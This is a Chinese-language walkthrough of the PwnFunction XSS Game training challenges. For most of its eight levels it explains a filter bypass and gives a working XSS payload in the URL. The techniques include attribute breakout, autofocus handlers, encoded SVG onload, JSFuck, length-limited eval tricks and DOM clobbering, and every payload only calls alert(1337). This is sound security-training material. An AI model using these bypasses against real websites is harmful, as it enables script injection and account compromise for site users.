目录
[第一种 Function构建函数](#第一种 Function构建函数)
[第二种 tostring parseInt](#第二种 tostring parseInt)
[第三种 silce()](#第三种 silce())
[编辑第八关(安全过滤框架 dom破坏)](#编辑第八关(安全过滤框架 dom破坏))
xss网页链接
XSS Game - Learning XSS Made Simple! | Created by PwnFunction
第一关
分析源码可知,没有任何过滤,那直接动手操作即可
而且有需求,不能有用户参与,而且必须弹窗1337
第二关
分析:innerText=ma 这个代码 将会把你输入的都将转换为文本
那么思考一下 绕过双引号 即可
?jeff=a";alert(1337);"
第三关
过滤了一些字符 用聚焦解决
?wey=1"%20οnfοcus="alert(1337)"%20autofocus="ture
第四关
?ricardo=javascript:alert(1337)
有setTIMEout 输入进去等待几秒即可
第五关
js不支持编码符号 但是支持字符串
所以location 可以转换字符串
url编码 为实体编码 然后执行
?markassbrownlee=<svg%20οnlοad=alert%26%2340%3B1337%26%2341%3B>
第六关
过滤了英文字母 所以直接没办法用英文
jsfuck 这个可以让字母变成 ![]
eval可以直接执行命令
JSFuck - Write any JavaScript with 6 Characters: []()!+
第七关
限制 0-50 所以上一关无法使用
有三种解法
第一种 Function构建函数
构建一个ALERT(1337) source 是获取函数原码 toLowerCase() 获取小写
?mafia=Function(/ALERT(1337)/.source.toLowerCase())()
第二种 tostring parseInt
首先得科普一下parseInt
parseInt,是Javascript内置函数,原型为parseInt ( String s , [ int radix ] ),用于解析一个字符串,并返回一个整数。
tostring 将数字转回为字符串
那么问题来了为啥要 tostring(30) 而不是29 或者 28 呢
alert 这个 t 必须到30进制才可以转换的到 例子:16进制最大是F
?mafia=eval(9875141..toString(31))(1337)
第三种 silce()
锚点
location.hash 获取url#后面的值 我们通过切片将alert切出来
?mafia=eval(location.hash.slice(1))#alert(1337)
第八关(安全过滤框架 dom破坏)
DOM破坏是一种将HTML注入页面以操纵DOM并最终改变页面上JavaScript行为的技术。
就是修改他原来的参数,进行覆盖,最后误以为是正确的
分析源码可知 ok 我们可以覆盖
我们可以得到两种标签对象: HTMLAreaElement (<area>) & HTMLAnchorElement (<a>) ,这两个
标签对象我们都可以利⽤ href 属性来进⾏字符串转换。
我这里使用a标签
?boomer=<a%20id=ok%20href=tel:alert(1337)>
?boomer=<a%20id=ok%20href=cid:alert(1337)>
这里用到了白名单 tel cid 因为javascript 不可以使用